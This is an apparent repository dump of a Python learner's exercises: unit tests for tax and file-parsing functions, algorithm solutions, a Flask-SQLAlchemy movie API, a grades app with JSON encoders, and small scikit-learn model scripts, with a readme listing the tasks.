.40, .47] # %\n brackets = [0, 1000, 3000, 5000, 10000, 20000, 50000]\n income = self.salary\n\n bt = zip(brackets, brackets[1:] + [income])\n income_in_b = (t - b if income > t else income - b for b, t in bt \\\n if income - b > 0)\n tax = sum(p * s for p, s in zip(rates, income_in_b))\n if not tax:\n return 0.0\n else:\n return round(tax, 2)\n\n\nclass WorkerTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n # creating products with different quantities\n cls.worker = Worker(\"Worker\")\n\n @classmethod\n def tearDownClass(cls) -> None:\n del cls.worker\n\n def test_worker_success(self):\n list_cases = [(self.worker.get_tax_value(100), 0.0),\n (self.worker.get_tax_value(1001), 0.1),\n (self.worker.get_tax_value(5000), 500.0),\n (self.worker.get_tax_value(10000), 1550.0),\n (self.worker.get_tax_value(20000), 4550.0),\n (self.worker.get_tax_value(50000), 16550.0),\n (self.worker.get_tax_value(100000), 40050.0)]\n\n for p1, p2 in list_cases:\n with self.subTest():\n self.assertEqual(p1, p2)\n\n @unittest.expectedFailure\n def test_worker_failed(self):\n Worker(\"Worker 5\", -100)\n\n\n#===============================================================================================================\nimport unittest\nfrom unittest.mock import mock_open, patch\ndef file_parser(path_to_file, find_string, replace_string=None):\n mode = \"w\" if replace_string else \"r\"\n with open(path_to_file, mode) as f:\n lines = f.readlines()\n count_ = sum(line.count(find_string) for line in lines)\n if not replace_string:\n return f\"Found {count_} strings\"\n elif count_:\n lines = [line.replace(find_string, replace_string) for line in lines]\n # Open file in write mode\n for line in lines:\n f.write(line)\n\n return f\"Replaced {count_} strings\"\n\n\nclass ParserTest(unittest.TestCase):\n data = \"a,b,a\\nx,y,z\"\n\n @patch('builtins.open')\n def test_file_parser1(self, moke_file):\n moke_file.side_effect = [\n mock_open(read_data=self.data).return_value\n ]\n self.assertEqual(file_parser(moke_file, 'a'), \"Found 2 strings\")\n\n @patch('builtins.open')\n def test_file_parser2(self, moke_file):\n moke_file.side_effect = [\n mock_open(read_data=self.data).return_value\n ]\n self.assertEqual(file_parser(moke_file, 'a', 'b'), \"Replaced 2 strings\")\n\n @patch('builtins.open')\n def test_file_parser3(self, moke_file):\n mock_file = mock_open(read_data=self.data)\n with patch('builtins.open', mock_file):\n result = file_parser(mock_file, 'a', 'b')\n mock_file.assert_called_with(mock_file, \"w\")\n\nunittest.main()\n\n" }, { "alpha_fraction": 0.6712802648544312, "alphanum_fraction": 0.6712802648544312, "avg_line_length": 27.600000381469727, "blob_id": "5007cb24832ebb5579dcc764c9ecb262946a44a5", "content_id": "67a6c784af916e24c3c086840b7e870b64ff68a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 289, "license_type": "no_license", "max_line_length": 56, "num_lines": 10, "path": "/DS Titanic docker/settings/constants.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import os\n\nDATA_FOLDER = os.path.dirname(os.path.dirname(__file__))\ndef get_full_path(*path):\n return os.path.join(DATA_FOLDER, *path)\n\nTRAIN_CSV = get_full_path('data', 'train.csv')\nVAL_CSV = get_full_path('data', 'val.csv')\n\nSAVED_ESTIMATOR = get_full_path('models', 'SVC.pickle')\n\n\n\n" }, { "alpha_fraction": 0.44262295961380005, "alphanum_fraction": 0.6721311211585999, "avg_line_length": 14.5, "blob_id": "748b291f4adc6f654919c0d49b97d92ea1065060", "content_id": "c3d96074a6196c964a586f6267548716dee8b493", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 61, "license_type": "no_license", "max_line_length": 20, "num_lines": 4, "path": "/DS Titanic docker/requirements.txt", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "Flask==1.1.2\nnumpy==1.18.5\npandas==1.0.4\nscikit_learn==0.23.1" }, { "alpha_fraction": 0.5172743201255798, "alphanum_fraction": 0.5376212000846863, "avg_line_length": 23.01311492919922, "blob_id": "7a63e357cafa1a1afd27a6a98b3f797fe8b9bfcf", "content_id": "1b4e921ad24e85628d53d32cec26ef3ba7ae6301", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7407, "license_type": "no_license", "max_line_length": 133, "num_lines": 305, "path": "/tasks01.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "#For the given integer n, consider an increasing sequence consisting of all positive integers that are either powers\n# of n, or sums of distinct powers of n.\n#Your task is to find the kth (1-based) number in this sequence.\n\ndef kthTerm(n, k):\n\n # Constraints\n if n < 2 or n > 30 or k < 1 or k > 100:\n return 0\n\n seq_integers = []\n\n for p in range(k):\n\n number_power = n ** p\n seq_integers.append(number_power)\n\n len_list = len(seq_integers)\n if len_list == k:\n break\n\n last_item = min(k - len_list, len_list - 1)\n\n seq_integers += [item + number_power for item in seq_integers[:last_item]]\n\n if len(seq_integers) >= k:\n break\n\n return seq_integers[k - 1]\n\n\ndef kthTerm1(n, k):\n\n seq_integers = []\n seq_append = seq_integers.append\n\n for p in range(k):\n seq_append(n ** p)\n\n last_item = len(k) - 1\n for i in range(last_item):\n seq_integers[i]+seq_integers[last_item]\n\n return seq_integers[k - 1]\n\n\ndef filterBible(scripture, book, chapter):\n\n filteredVerses = [item for item in scripture if item[:2] == book and item[2:5] == chapter]\n\n return filteredVerses\n\n\ndef filterBible1(scripture, book, chapter):\n\n filteredVerses = [item for item in scripture if +item.startwith(book+chapter)]\n\n return filteredVerses\n\nfilterBible2 = lambda s, b, c: [i for i in s if s[:5] == b+c]\n\ndef isPalindrome(str):\n\n # in palindrom each litera have to be even and some case one in the middle\n str = str.replace(' ', '').upper()\n\n onlyonecase = 0\n for l in set(str):\n if not str.count(l) % 2:\n onlyonecase += 1\n\n if onlyonecase > 1:\n return False\n\n return True\n\ndef isPalindrome1(str):\n return lambda s: sum(s.count(c) % 2 for c in set(s)) < 2\n\n\ndef findPermutation(n, p, q):\n\n r = [0 for i in range(n)]\n\n for i in range(n):\n\n #q[i-1] = p[r[i-1]]\n idx = p.index(q[i])\n r[i] = idx+1\n\n return r\n\n\n\nfindPermutation1 = lambda n, p, q: [p.index(i)+1 for i in q]\n\n# p = [2,3,1]\n# q = [3,1,2]\n# # #\n# print(findPermutation1(3, p, q))\n\ndef order(a):\n\n # Constraints\n length_a = len(a)\n if length_a >= 100 or length_a < 1:\n return ''\n #elif length_a != len(set(a)):\n # return ''\n\n if sorted(a) == a:\n return \"ascending\"\n elif sorted(a, reverse=True) == a:\n return \"descending\"\n else:\n return \"not sorted\"\n\ndef order1(a):\n return \"ascending\" if sorted(a) == a else \"descending\" if sorted(a) == a[::-1] else \"not sorted\"\n\n#print(order1([1,2,3]))\n\ndef Cipher_Zeroes(N):\n\n # Constraints\n #if (int(N) < 1) or (int(N) > 1e1000):\n # return 0\n\n visible_zeros_1 = '069'\n visible_zeros_2 = '8'\n\n number_points = 0\n for number in N:\n if number in visible_zeros_1:\n number_points += 1\n elif number in visible_zeros_2:\n number_points += 2\n\n if number_points:\n if number_points % 2:\n number_points -= 1\n else:\n number_points += 1\n\n return int(bin(number_points)[2:])\n\n\ndef Cipher_Zeroes(N):\n t = N.count\n t = t(\"8\")*2 + t(\"0\") + t(\"6\") + t(\"9\")\n t += [-1, 1][t % 2]\n return int(bin([0, t][t > 0])[2:])\n\n\ndef studying_hours(a):\n\n start = 0\n increase_days = 0\n increase_days_list = []\n\n for hours in a:\n if hours >= start:\n increase_days += 1\n start = hours\n else:\n if increase_days > 1:\n increase_days_list.append(increase_days)\n\n increase_days = 1\n start = 0\n\n if increase_days > 1:\n increase_days_list.append(increase_days)\n\n if increase_days_list:\n return max(increase_days_list)\n else:\n return 0\n\n# це рішення підійде, якщо потрібно виводити не 0, а 1 якщо немає підвищення чи рівності\ndef studying_hours(a):\n\n start = 0\n increase_days = 0\n increase_days_list = []\n\n for hours in a:\n increase_days = [1, increase_days + 1][start <= hours]\n increase_days_list += [increase_days]\n start = hours\n\n return max(increase_days_list)\n'''\nAlgorithm \n1. Scan the infix expression from left to right. \n2. If the scanned character is an operand, output it. \n3. Else, \n 1 If the precedence of the scanned operator is greater than the precedence of the operator \n in the stack(or the stack is empty or the stack contains a ‘(‘ ), push it. \n 2 Else, Pop all the operators from the stack which are greater than or equal to in precedence than \n hat of the scanned operator. After doing that Push the scanned operator to the stack. \n (If you encounter parenthesis while popping then stop there and push the scanned operator in the stack.) \n4. If the scanned character is an ‘(‘, push it to the stack. \n5. If the scanned character is an ‘)’, pop the stack and and output it until a ‘(‘ is encountered, and discard both the parenthesis. \n6. Repeat steps 2-6 until infix expression is scanned. \n7. Print the output \n8. Pop and output from the stack until it is not empty. '''\n\ndef toPostFixExpression(e):\n\n #for return precedence to sort stack\n def getKey(op):\n return precedence[op]\n\n precedence = {'+': 1, '-': 1, '*': 2, '/': 2, '%': 3}\n\n outputs = []\n stack = []\n\n for item in e:\n\n if item[0] in '1234567890':\n outputs.append(item)\n\n elif item in '-+*/%':\n if stack:\n if stack[-1] == '(' or precedence[item] > precedence.get(stack[-1],0):\n stack.append(item)\n else:\n precedence_item = precedence[item]\n while stack:\n op = stack[-1]\n if op == '(':\n outputs.append(item)\n break\n elif precedence[op] >= precedence_item:\n stack.pop()\n\n stack.append(item)\n\n else:\n stack.append(item)\n\n elif item in '(':\n stack.append(item)\n\n elif item in ')':\n while stack:\n op = stack[-1]\n if op in '(':\n stack.pop()\n break\n else:\n outputs.append(op)\n stack.pop()\n\n if stack:\n stack.sort(key=getKey, reverse=True)\n outputs.extend(stack)\n\n return outputs\n\n\ndef toPostFixExpression1(e):\n\n #for return precedence to sort stack\n def getKey(op):\n return precedence[op]\n\n precedence = {'+': 2, '-': 2, '*': 3, '/': 3, '%': 3, '(': 1, ')': 1}\n\n outputs = []\n stack = []\n\n for item in e:\n\n if item in precedence and precedence[item] > 1:\n\n while stack and precedence[item] <= precedence[stack[-1]]:\n outputs += [stack.pop()]\n\n stack += [item]\n\n elif item == '(':\n\n stack += [item]\n\n elif item == ')':\n\n while stack[-1] != '(':\n\n outputs += [stack.pop()]\n\n stack.pop()\n\n else:\n outputs += [item]\n\n for item in stack[::-1]:\n outputs += [item]\n\n return outputs\n\n\n#print(toPostFixExpression1([\"2\",\"+\",\"3\",\"*\",\"4\",\"(\",\"5\",\"*\",\"6\",\")\"]))" }, { "alpha_fraction": 0.5943132042884827, "alphanum_fraction": 0.6043251752853394, "avg_line_length": 20.90350914001465, "blob_id": "aa5d29293bc54f4178443674fd8341f3625bcdf3", "content_id": "9a71b914057a0be33950084c5263efee5b9d6673", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2497, "license_type": "no_license", "max_line_length": 80, "num_lines": 114, "path": "/theory_contextmanager.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "class MyContentManadger:\n\n def __init__(self, name):\n self.name = name\n\n def __enter__(self):\n print(f'{self.name} entered')\n return self.name\n\n def __exit__(self, *args):\n print(f'{self.name} exited')\n\n\n# pcm1 = MyContentManadger('context manager 1')\n# pcm2 = MyContentManadger('context manager 2')\n#\n# with pcm1 as name:\n# print(f'in with block for {name}')\n#\n# try:\n# with pcm2 as name:\n# raise Exception\n# print(f'in with block for {name}')\n# except:\n# print('Error occured.')\n\nfrom contextlib import contextmanager\n\n@contextmanager\ndef some_generatore(*args):\n value = 0\n try:\n yield value\n finally:\n del value\n\n@contextmanager\ndef managed_file(name, method):\n f = open(name, method)\n try:\n yield f\n except:\n f.close()\n\n# with managed_file('hello.txt','w') as f:\n# f.write('hello, word')\n# f.write('bye now')\n\nimport json\n\nclass Student:\n\n def __init__(self, first_name: str, last_name: str):\n self.first_name = first_name\n self.last_name = last_name\n\n @staticmethod\n def from_json(data):\n return Student(**data)\n\n\nclass Team:\n\n def __init__(self, students: []):\n self.students = students\n\n @staticmethod\n def from_json(data):\n students = list(map(Student.from_json, data['students']))\n return Team(students)\n\n\n# student1 = Student(first_name='Jake', last_name='Foo')\n# student2 = Student(first_name='Jason', last_name='Bar')\n# team = Team([student1, student2])\n#\n# # Serializing\n# data = json.dumps(team, default=lambda o:o.__dict__, sort_keys=True, indent=4)\n# print(data)\n#\n# # Deserializing\n# decoded_team = Team.from_json(json.loads(data))\n# print(decoded_team)\n# print(decoded_team.students)\n\nfrom jsonschema import validate\n\nschema= {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\"type\": \"string\"},\n \"age\": {\"type\": \"number\"},\n },\n \"required\": [\"age\", \"name\"]\n}\n\n# valid_json = {\"name\": \"Jason\", \"age\": 10}\n# invalid_json1 = {\"name\": \"Jason\", \"age\": \"10\"}\n# invalid_json2 = {\"name\": \"Jason\"}\n# validate(valid_json, schema)\n# validate(invalid_json1, schema)\n# validate(invalid_json2, schema)\nimport csv\n\nmydict=[{\"name\": \"Jason\", \"age\": \"10\"},\n {\"name\": \"Jason1\", \"age\": \"11\"}]\n\nfields = [\"name\", \"age\"]\nfile_name = \"output.txt\"\n\nwith open(file_name, 'w') as file:\n writer = csv.DictWriter(file, fieldnames=fields)\n writer.writeheader()\n writer.writerows(mydict)\n" }, { "alpha_fraction": 0.6361031532287598, "alphanum_fraction": 0.6747850775718689, "avg_line_length": 37.83333206176758, "blob_id": "0439489a03b96b85b301f27482418e071bcbb646", "content_id": "f9497c41a7706867e2195e21f7bb0213c862f710", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 698, "license_type": "no_license", "max_line_length": 100, "num_lines": 18, "path": "/Flask-SQLAlchemy-docker-app/tests.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import requests\n\nbody = dict(id='1')\nattrs = ['id', 'name', 'gender', 'date_of_birth'].sort()\n\nresponse = requests.delete('http://127.0.0.1:8000/api/actor-relations', data=body)\nif response.status_code != 200 or list(response.json().keys()).sort() != attrs:\n print(\"Route '/api/actor_relations' method DELETE failed processing correct request\")\nprint(response.json())\n\n\nbody = dict(name='')\nattrs = ['id', 'name', 'gender', 'date_of_birth'].sort()\n\nresponse = requests.delete('http://127.0.0.1:8000/api/actor-relations', data=body)\nif response.status_code != 400:\n print(\"Route '/api/actor_relations' method DELETE failed handling request with no 'id'\")\nprint(response.json())" }, { "alpha_fraction": 0.557159423828125, "alphanum_fraction": 0.5618051886558533, "avg_line_length": 26.276018142700195, "blob_id": "1e85d92f5e75da57a4fd6470837e7a5d46d11ba1", "content_id": "0f055ed6da69688dc4263ce0ee595d08518aacb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6027, "license_type": "no_license", "max_line_length": 100, "num_lines": 221, "path": "/bonus08.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from enum import Enum\nimport json\nfrom json import JSONEncoder\nimport re\nfrom uuid import UUID, uuid4\n\n\nclass Role(Enum):\n Trainee = 0\n Mentor = 1\n\n\nclass Score(Enum):\n A = (90, 100)\n B = (80, 89)\n C = (70, 79)\n D = (60, 69)\n F = (0, 59)\n\n\nclass NonUniqueException(Exception):\n def __init__(self, name):\n self.name = name\n self.message = f\"User with name {self.name} already exists\"\n\n def __str__(self):\n return self.message\n\n\nclass UserEncoder(JSONEncoder):\n def default(self, o):\n result = {}\n for key, item in o.__dict__.items():\n if key in (\"username\", \"password\"):\n result[key] = item\n elif key == \"id\":\n if isinstance(item, UUID):\n result[key] = item.hex\n else:\n result[key] = item\n elif key == \"role\":\n result[key] = item.value\n return result\n\n\nclass SubjectEncoder(JSONEncoder):\n def default(self, o):\n result = {}\n for key, item in o.__dict__.items():\n if key == \"id\":\n if isinstance(item, UUID):\n result[key] = item.hex\n else:\n result[key] = item\n return result\n\n\nclass GradeEncoder(JSONEncoder):\n def default(self, o):\n result = {}\n for key, item in o.__dict__.items():\n if key in (\"subject_id\", \"user_id\"):\n if isinstance(item, UUID):\n result[key] = item.hex\n else:\n result[key] = item\n # \"score\"\n else:\n result[key] = item\n return result\n\n\nclass PasswordValidationException(Exception):\n pass\n\nclass ForbiddenException(Exception):\n pass\n\n\ndef users_to_json(users, json_file):\n data = json.dumps(users, cls=UserEncoder)\n with open(json_file, \"w\") as f:\n f.write(data)\n\n\ndef subjects_to_json(subjects, json_file):\n data = json.dumps(subjects, cls=SubjectEncoder)\n with open(json_file, \"w\") as f:\n f.write(data)\n\n\ndef grades_to_json(users, subjects, json_file):\n list_grades = []\n titles = [subject.title for subject in subjects]\n for user in users:\n for grade in user.scores:\n list_grades.extend([item for key, item in grade.items() if key in titles])\n\n data = json.dumps(list_grades, cls=GradeEncoder)\n with open(json_file, \"w\") as f:\n f.write(data)\n\n\ndef check_if_user_present(username, password, users):\n users_attr = [(user_.username, user_.password) for user_ in users]\n return (username, password) in users_attr\n\n\ndef add_user(user, users):\n user_names = [user_.username for user_ in users]\n try:\n if user.username not in user_names:\n users.append(user)\n else:\n raise NonUniqueException(user.username)\n except NonUniqueException as e:\n print(e)\n\n\ndef add_subject(subject, subjects): #check title unique\n if subject not in subjects:\n subjects.append(subject)\n\n\ndef get_grades_for_user(username, user, users):\n try:\n if user.username != username and user.role != Role.Mentor:\n raise ForbiddenException(\"Forbidden\")\n scores_ = [user_.scores for user_ in users if username == user_.username]\n except ForbiddenException as e:\n return e\n return scores_[0]\n\n\ndef get_subjects_from_json(subjects_json):\n with open(subjects_json, 'r') as f:\n data = json.load(f)\n\n if type(data) == dict:\n subjects = [Subject(**data)]\n else:\n subjects = [Subject(**subject) for subject in data]\n\n return subjects\n\n\ndef get_users_with_grades(users_json, subjects_json, grades_json):\n def get_list(json_data, cls):\n with open(json_data, 'r') as f:\n data = json.load(f)\n if type(data) == dict:\n list_data = [cls(**data)]\n else:\n list_data = [cls(**item) for item in data]\n return list_data\n\n users = get_list(users_json, User)\n subjects = get_subjects_from_json(subjects_json)\n grades = get_list(grades_json, Scores)\n\n for user in users:\n grades_of_user = {grade.subject_id: grade for grade in grades \\\n if grade.user_id == user.id}\n subjectes_of_user = {subject.id: subject for subject in subjects \\\n if subject.id in grades_of_user}\n for id_, grade in grades_of_user.items():\n user.add_score_for_subject(subjectes_of_user.get(id_), grade)\n\n return users\n\n\ndef get_uuid():\n return uuid4()\n\n\nclass Subject:\n def __init__(self, title, id=None):\n self.title = title\n self.id = id if id else get_uuid()\n\n def __repr__(self):\n return f\"'{self.title}'\"\n\n\nclass User:\n def __init__(self, username, password, role, id):\n self.username = username\n self.password = password\n self.role = Role(role) if isinstance(role, int) else role\n self.id = id\n self.scores = []\n\n def __str__(self):\n return f\"{self.username} with role {self.role}: {self.scores}\"\n\n def __repr__(self):\n return f\"{self.username}\"\n\n def add_score_for_subject(self, subject, score):\n if isinstance(score, Score):\n score = Scores(score.name, self.id, subject.id)\n self.scores.append({subject.title: score})\n\n @classmethod\n def create_user(cls, username, password, role):\n pattern_password = \\\n r'^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\\$%\\^&\\*\\[\\]\\\"\\';:_\\-<>\\., =\\+\\/\\\\]).{6,}$'\n if not re.match(pattern_password, password):\n raise PasswordValidationException # (\"Invalid password\")\n id_ = get_uuid()\n return cls(username, password, role, id_)\n\n\nclass Scores:\n def __init__(self, score, user_id, subject_id):\n self.score = score\n self.user_id = user_id\n self.subject_id = subject_id\n\n def __repr__(self):\n return f\"'{self.score}'\"" }, { "alpha_fraction": 0.5689859986305237, "alphanum_fraction": 0.584151029586792, "avg_line_length": 30.577465057373047, "blob_id": "537eb39885652e9f7d239106e6863792683221c2", "content_id": "99ad9b412a75aa1c36dcc1f9fd7f4715d7c2aaa5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6726, "license_type": "no_license", "max_line_length": 87, "num_lines": 213, "path": "/Flask-SQLAlchemy-docker-app/controllers/movie.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from flask import jsonify, make_response\n\nfrom ast import literal_eval\n\nfrom models.movie import Movie\nfrom models.actor import Actor\nfrom settings.constants import MOVIE_FIELDS\nfrom .parse_request import get_request_data\n\n\ndef get_all_movies():\n \"\"\"\n Get list of all records\n \"\"\"\n all_movies = Movie.query.all()\n movies = []\n for movie in all_movies:\n act = {k: v for k, v in movie.__dict__.items() if k in MOVIE_FIELDS}\n movies.append(act)\n return make_response(jsonify(movies), 200)\n\ndef get_movie_by_id():\n \"\"\"\n Get record by id\n \"\"\"\n data = get_request_data()\n if 'id' in data.keys():\n try:\n row_id = int(data['id'])\n except:\n err = 'Id must be integer. Getting failed'\n return make_response(jsonify(error=err), 400)\n\n obj = Movie.query.filter_by(id=row_id).first()\n try:\n movie = {k: v for k, v in obj.__dict__.items() if k in MOVIE_FIELDS}\n except:\n err = 'Record with such id does not exist. Getting failed'\n return make_response(jsonify(error=err), 400)\n\n return make_response(jsonify(movie), 200)\n\n else:\n err = 'No id specified. Getting failed'\n return make_response(jsonify(error=err), 400)\n\n\ndef add_movie():\n \"\"\"\n Add new movie\n \"\"\"\n data = get_request_data()\n # use this for 200 response code\n keys = data.keys()\n movies_attr = ['name', 'year', 'genre']\n\n # for only included in list without redunant fields\n allTrue = [key in movies_attr for key in keys]\n if len(keys) == sum(allTrue):\n\n try:\n name = str(data['name'])\n except:\n err = 'Not found string Name. Adding failed'\n return make_response(jsonify(error=err), 400)\n\n if not name:\n err = 'Name should not be empty. Adding failed'\n return make_response(jsonify(error=err), 400)\n\n if 'year' in keys:\n try:\n int(data['year'])\n except:\n err = 'Year must be integer. Adding failed'\n return make_response(jsonify(error=err), 400)\n\n else:\n err = f'Required fields: {movies_attr}. Got {keys}. Adding failed'\n return make_response(jsonify(error=err), 400)\n\n new_record = Movie.create(**data)\n new_movie = {k: v for k, v in new_record.__dict__.items() if k in MOVIE_FIELDS}\n return make_response(jsonify(new_movie), 200)\n\n\ndef update_movie():\n \"\"\"\n Update movie record by id\n \"\"\"\n data = get_request_data()\n keys = data.keys()\n\n # for only included in list without redunant fields\n allTrue = [key in MOVIE_FIELDS for key in keys]\n if len(keys) == sum(allTrue):\n\n try:\n row_id = int(data['id'])\n except:\n err = 'Not found integer Id. Updating failed'\n return make_response(jsonify(error=err), 400)\n\n try:\n name = str(data['name'])\n except:\n err = 'Not found string Name. Updating failed'\n return make_response(jsonify(error=err), 400)\n\n if not name:\n err = 'Name should not be empty. Updating failed'\n return make_response(jsonify(error=err), 400)\n\n if 'year' in keys:\n try:\n int(data['year'])\n except:\n err = 'Year must be integer. Updating failed'\n return make_response(jsonify(error=err), 400)\n\n else:\n err = f'Required fields: {MOVIE_FIELDS}. Got {keys}. Updating failed'\n return make_response(jsonify(error=err), 400)\n\n upd_record = Movie.update(row_id, **data)\n if upd_record:\n # use this for 200 response code\n upd_movie = {k: v for k, v in upd_record.__dict__.items() if k in MOVIE_FIELDS}\n return make_response(jsonify(upd_movie), 200)\n else:\n err = f'Could not get record wih id {row_id}. Updating failed'\n return make_response(jsonify(error=err), 400)\n\n\n\ndef delete_movie():\n \"\"\"\n Delete movie by id\n \"\"\"\n data = get_request_data()\n ### YOUR CODE HERE ###\n try:\n row_id = int(data['id'])\n except:\n err = 'Not found integer Id. Deleting failed'\n return make_response(jsonify(error=err), 400)\n\n if Movie.delete(row_id):\n # use this for 200 response code\n msg = 'Record successfully deleted'\n return make_response(jsonify(message=msg), 200)\n else:\n err = f'Could not get record wih id {row_id}. Deleting failed'\n return make_response(jsonify(error=err), 400)\n\ndef movie_add_relation():\n \"\"\"\n Add actor to movie's cast\n \"\"\"\n data = get_request_data()\n try:\n row_id = int(data['id'])\n except:\n err = 'Not found integer Id. Adding relation failed'\n return make_response(jsonify(error=err), 400)\n\n try:\n rel_id = int(data['relation_id'])\n except:\n err = 'Not found integer relation_id. Adding relation failed'\n return make_response(jsonify(error=err), 400)\n\n # use this for 200 response code\n # add relation here\n movie = Movie.query.filter_by(id=row_id).first()\n actor = Actor.query.filter_by(id=rel_id).first()\n if not actor:\n err = f'Could not find record wih relation_id {rel_id}. Adding relation failed'\n return make_response(jsonify(error=err), 400)\n elif not movie:\n err = f'Could not find record wih id {row_id}. Adding relation failed'\n return make_response(jsonify(error=err), 400)\n else:\n Movie.add_relation(row_id, actor)\n rel_movie = {k: v for k, v in movie.__dict__.items() if k in MOVIE_FIELDS}\n rel_movie['cast'] = str(movie.cast)\n return make_response(jsonify(rel_movie), 200)\n\ndef movie_clear_relations():\n \"\"\"\n Clear all relations by id\n \"\"\"\n data = get_request_data()\n if 'id' in data.keys():\n try:\n row_id = int(data['id'])\n except:\n err = 'Not found integer Id. Deleting relations failed'\n return make_response(jsonify(error=err), 400)\n\n # use this for 200 response code\n movie = Movie.query.filter_by(id=row_id).first() # add relation here\n if not movie:\n err = f'Could not get record wih id {row_id}. Deleting relations failed'\n return make_response(jsonify(error=err), 400)\n else:\n Movie.clear_relations(row_id)# clear relations here\n rel_movie = {k: v for k, v in movie.__dict__.items() if k in MOVIE_FIELDS}\n rel_movie['cast'] = str(movie.cast)\n return make_response(jsonify(rel_movie), 200)\n else:\n err = 'No id specified'\n return make_response(jsonify(error=err), 400)\n" }, { "alpha_fraction": 0.7266436219215393, "alphanum_fraction": 0.7283737063407898, "avg_line_length": 21.269229888916016, "blob_id": "33e0486a3252d6b431724e1e13d05ab29b82a6a6", "content_id": "a364ef80020d9e316b154f4e0d05fac71237432a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 578, "license_type": "no_license", "max_line_length": 59, "num_lines": 26, "path": "/DS House pricing app/run.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import pickle\nimport json\nimport pandas as pd\nimport numpy as np\n\nfrom utils.dataloader import DataLoader\nfrom settings. constants import VAL_CSV\n\n\nwith open('settings/specifications.json') as f:\n specifications = json.load(f)\n\nx_columns = specifications['description']['X']\ny_column = specifications['description']['y']\n\nraw_val = pd.read_csv(VAL_CSV)\nx_raw = raw_val[x_columns]\n\nloader = DataLoader()\nloader.fit(x_raw)\nX = loader.load_data()\ny = raw_val.SalePrice\n#y = np.log1p(y)\n\nloaded_model = pickle.load(open('models/XGB.pickle', 'rb'))\nprint(loaded_model.score(X, y))" }, { "alpha_fraction": 0.60550457239151, "alphanum_fraction": 0.6192660331726074, "avg_line_length": 24.52941131591797, "blob_id": "3337824d38677d0beceb3d5102d6789d708f9ddb", "content_id": "54b33f89f4eb1819cce98f1c626e627e1942186c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "no_license", "max_line_length": 79, "num_lines": 17, "path": "/DS Titanic docker/utils/trainer.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from sklearn.svm import SVC\nimport pickle\n\n\nclass Estimator:\n @staticmethod\n def fit(train_x, train_y):\n\n model = SVC(kernel='rbf', C=10, degree=0, gamma=0.01, probability=True)\n result = model.fit(train_x, train_y)\n with open('models/SVC.pickle', 'wb')as f:\n pickle.dump(model, f)\n return result\n\n @staticmethod\n def predict(trained, test_x):\n return trained.predict(test_x)\n\n\n" }, { "alpha_fraction": 0.7698975801467896, "alphanum_fraction": 0.7872340679168701, "avg_line_length": 21.280702590942383, "blob_id": "2d43ee6f709aed95828511b9a47cef70fdc95b96", "content_id": "c31bf4f15ff3e50f6f3736b7cd14b74c210090a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 59, "num_lines": 57, "path": "/readme.md", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "### Task01 types\nkthTerm(n, k)\nfilterBible(scripture, book, chapter)\nisPalindrome(str)\nfindPermutation(n, p, q)\norder(a)\nCipher_Zeroes(N)\n### Task02\ndouble_string\nmorse_number(num)\nfigure_perimetr(s)\nmax_population(data)\npretty_message(s)\n### Task03\nouter(name)\ncreate(arg)\ncreate_account(user_name, password, secret_words)\ndivisor(n)\nlogger(func)\nconcat(*args, **kwargs)\nrandomWord(words)\n### Task04 classes\nclass Employee\nclass Pizza\nclass Student\nclass Gallows\n### Task05 exceptitons\ndivide(numerator, denominator)\nsolve_quadric_equation(a, b, c)\ncheck_positive(number)\nvalid_email(email)\nday_of_week(day)\ncheck_number_group(number)\ncheck_odd_even(number)\n## Task06 json, pickle, enum\nfind(file, key)\nparse_user(output_file, *input_files)\nuser_with_department(csv_file, user_json, department_json)\nclass Student\nclass Group\nclass SerializeManager\n## Task07 pattern desing\nabstract factory class FactoryProducer\nbehavioral/strategy class Goods\nadapter \nfacade class WashingMachine\ncomposite class LeafElement, CompositeElement\n## Task08 unittest\nclass Cart, Product\ndivide(num_1, num_2)\nquadratic_equation(a, b, c)\nclass Triangle\nclass Worker\nfile_parser(path_to_file, find_string, replace_string=None)\nbonus08.py - app Trainer-User\n## Task09\nsimplehttprequesthandler" }, { "alpha_fraction": 0.618852436542511, "alphanum_fraction": 0.618852436542511, "avg_line_length": 19.41666603088379, "blob_id": "67fbb142db9349e7e0eb1439dcd7f88b867ab7cf", "content_id": "9a855beac2e09d9236841dc81ea830cb65b487f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 244, "license_type": "no_license", "max_line_length": 52, "num_lines": 12, "path": "/Flask-SQLAlchemy-docker-app/controllers/parse_request.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from flask import request\n\n\ndef get_request_data():\n \"\"\"\n Get keys & values from request\n \"\"\"\n keys = [k for k in request.form]\n values = [request.form[k] for k in request.form]\n data = dict(zip(keys, values))\n\n return data" } ]
34
ankit755/Image-Viewer
https://github.com/ankit755/Image-Viewer
